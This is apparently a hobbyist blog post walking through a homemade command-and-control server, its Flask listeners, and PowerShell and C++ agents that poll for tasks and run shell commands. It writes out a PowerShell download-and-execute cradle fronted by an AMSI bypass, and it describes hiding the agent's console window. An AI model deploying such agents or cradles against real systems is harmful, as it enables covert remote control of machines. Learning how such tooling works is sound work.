Building a Basic C2
Introduction
It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.
Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.
Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.
This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.
You can find the tool on github.
Overview
About c2 servers / agents
As far as I know,
A basic c2 server should be able to:
- Start and stop listeners.
- Generate payloads.
- Handle agents and task them to do stuff.
An agent should be able to:
- Download and execute its tasks.
- Send results.
- Persist.
A listener should be able to:
- Handle multiple agents.
- Host files.
And all communications should be encrypted.
About the Tool
The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.
I couldn’t come up with a nice name so I would appreciate suggestions.
Listeners
Basic Info
Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.
A Listener object is instantiated with a name, a port and an IP address to bind to:
1 |
class Listener: |
Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:
1 |
... |
After that it creates a key, saves it and stores it in a variable (more on generateKey() in the encryption part):
1 |
... |
The Flask Application
The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.
/reg
/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.
When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.
With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.
1 |
@self.app.route("/reg", methods=['POST']) |
/tasks/<name>
/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.
It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).
1 |
@self.app.route("/tasks/<name>", methods=['GET']) |
/results/<name>
/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.
It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.
1 |
@self.app.route("/results/<name>", methods=['POST']) |
/download/<name>
/download/<name> is responsible for downloading files, <name> is a placeholder for the file name, it only accepts GET requests.
It reads the requested file from the files path and it sends it.
1 |
@self.app.route("/download/<name>", methods=['GET']) |
/sc/<name>
/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.
It takes the script name, creates a download cradle in the following format:
1 |
IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/download/SCRIPT_NAME') |
and prepends that with the oneliner and responds with the full line.
1 |
@self.app.route("/sc/<name>", methods=['GET']) |
Starting and Stopping
I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.
1 |
... |
Agents
Basic Info
As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.
When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).
After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.
After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.
We can represent that in pseudo code like this:
1 |
get hostname |
So far, agents can only do two basic things, execute cmd and powershell.
PowerShell Agent
I won’t talk about the crypto functions here, I will leave that for the encryption part.
First 5 lines of the agent are just the basic variables which are the IP address, port, key, name and the time to sleep:
1 |
$ip = "REPLACE_IP" |
As mentioned earlier, It gets the hostname, sends the registration request and receives its name:
1 |
$hname = [System.Net.Dns]::GetHostName() |
Based on the received name it creates the variables for the tasks uri and the results uri:
1 |
$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name") |
Then it starts the infinite loop:
1 |
for (;;){ |
Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:
1 |
$task = (Invoke-WebRequest -UseBasicParsing -Uri $taskl -Method 'GET').Content |
Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:
1 |
$task = Decrypt $key $task |
If the flag was VALID it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.
1 |
if ($flag -eq "VALID"){ |
After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:
1 |
$command = $task[1] |
There are 5 valid commands, shell, powershell, rename, sleep and quit.
shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.
Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:
1 |
function shell($fname, $arg){ |
It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.
Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:
1 |
if ($command -eq "shell"){ |
The sleep command updates the n variable then sends an empty result indicating that it completed the task:
1 |
elseif ($command -eq "sleep"){ |
The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:
1 |
elseif ($command -eq "rename"){ |
The quit command just exits:
1 |
elseif ($command -eq "quit"){ |
C++ Agent
The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.
Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.
1 |
|
The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:
1 |
|
I would like to point out an important option in the process created by the shell function which is:
1 |
si.wShowWindow = SW_HIDE; |
This is responsible for hiding the console window, this is also added in the main() function of the agent to hide the console window:
1 |
int main(int argc, char const *argv[]) |
Agent Handler
Now that we’ve talked about the agents, let’s go back to the server and take a look at the agent handler.
An Agent object is instantiated with a name, a listener name, a remote address, a hostname, a type and an encryption key:
1 |
class Agent: |
Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:
1 |
self.sleept = 3 |
After that it creates the needed directories and files:
1 |
self.Path = "data/listeners/{}/agents/{}/".format(self.listener, self.name) |
And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.
1 |
self.menu = menu.Menu(self.name) |
I won’t talk about the wrapper functions because we only care about the core functions.
First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:
1 |
def writeTask(self, task): |
As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).
Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:
1 |
def clearTasks(self): |
Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.
1 |
def update(self): |
The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:
1 |
def shell(self, args): |
The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:
1 |
def displayResults(name, result): |
Payloads Generator
Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.
PowerShell
Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.
The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).
1 |
def powershell(listener, outputname): |
Windows Executable (C++ Agent)
It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.
It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.
The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.
In the source of the agent I added a few lines of code that do the following:
- Open the file as a file stream.
- Move to the end of the file.
- Read 2 lines.
- Save the first line in the
IPvariable. - Save the second line in the port variable.
- Close the file stream.
1 |
std::ifstream ifs(argv[0]); |
To get the right EOF I had to compile the agent first, then update the agent source and compile again according to the size of the file.
For example this is the current definition of TEMPLATE_EOF for the x64 agent:
1 |
#define TEMPLATE_EOF 52736 |
If we take a look at the size of the file we’ll find that it’s the same:
1 |
# ls -la |
The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:
1 |
def winexe(listener, arch, outputname): |
Encryption
I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.
Let’s take a look at the crypto functions in both the server and the powershell agent.
Server
The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.
An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:
1 |
class AESCipher: |
There are two functions to pad and unpad the text with zeros to match the block size:
1 |
def pad(self, s): |
The encryption function takes plain text, pads it, creates a random IV, encrypts the plain text and returns the IV + the cipher text base-64 encoded:
1 |
def encrypt(self, raw): |
The decryption function does the opposite:
1 |
def decrypt(self,enc): |
I created two wrapper function that rely on the AESCipher class to encrypt and decrypt data:
1 |
def ENCRYPT(PLAIN, KEY): |
And finally there’s the generateKey function which creates a random 32 bytes key and base-64 encodes it:
1 |
def generateKey(): |
PowerShell Agent
The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.
First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:
1 |
function Create-AesManagedObject($key, $IV) { |
After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.
1 |
if ($IV) { |
The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.
It returns the cipher text base-64 encoded.
1 |
function Encrypt($key, $unencryptedString) { |
The opposite of this process happens with the Decrypt function:
1 |
function Decrypt($key, $encryptedStringWithIV) { |
Listeners / Agents Persistency
I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.
For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.
I created wrapper functions that read, write and remove objects from the databases:
1 |
def readFromDatabase(database): |
Demo
I will show you a quick demo on a Windows Server 2016 target.
This is how the home of the server looks like:
Let’s start by creating a listener:
Now let’s create a payload, I created the three available payloads:
After executing the payloads on the target we’ll see that the agents successfully contacted the server:
Let’s rename the agents:
I executed 4 simple commands on each agent:
Then I tasked each agent to quit.
And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.
If you liked the article tweet about it, thanks for reading.
